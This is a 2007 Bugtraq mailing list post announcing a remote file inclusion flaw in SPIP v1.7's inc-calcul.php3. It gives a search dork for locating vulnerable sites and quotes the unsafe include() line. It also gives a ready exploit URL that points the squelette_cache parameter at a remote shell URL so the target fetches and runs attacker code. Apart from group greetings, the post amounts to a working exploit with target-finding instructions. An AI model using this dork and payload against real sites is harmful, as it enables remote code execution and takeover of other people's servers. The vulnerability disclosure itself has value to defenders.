Bugtraq mailing list archives
SPIP v1.7 Remote File Inclusion Bug
From: system-errrror () hotmail com
Date: 23 Aug 2007 10:04:07 -0000
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++ SPIP v1.7 Remote File Inclusion Bug ! ++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ------------------------------------------------------------------------------------ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++ ++DORK : "/SPIP-v1-7-2/" ++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +----------------------------------------------------------------------------------+ +----------------------------------------------------------------------------------+ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++ ++ Bug in : "SPIP-v1-7r/inc-calcul.php3" ++---------------------------------------------------------------------------------- ++ Vlu Code: ----------------------------- ++ || include($squelette_cache); || ++ ----------------------------- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++ ++================================================================================== ++ Exploit : ++ ++ http://sitename.com/SPIP-v1-7-2/inc-calcul.php3?squelette_cache=http://SHELLURL? ++ ++================================================================================== ++ +++++++++++++++++++++|Discoverd By :Darkdewil[system-errrror]|++++++++++++++++++++++ ++ ++ ++++++++++++++++++|Conatact : system-errrror[at]hotmail[dot]com |+++++++++++++++++++ ++ ++ ++++++++++++|Thx To :Cazanova & fedaiturk & n3twork & codes & by_Ka0s |+++++++++++++ ++ ++ ++++++++++++++++++++++++|sPECial THanks to :1923turk - grup|++++++++++++++++++++++++ ++ ++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Current thread:
- SPIP v1.7 Remote File Inclusion Bug system-errrror (Aug 23)
- Re: SPIP v1.7 Remote File Inclusion Bug Magnus Holmgren (Aug 25)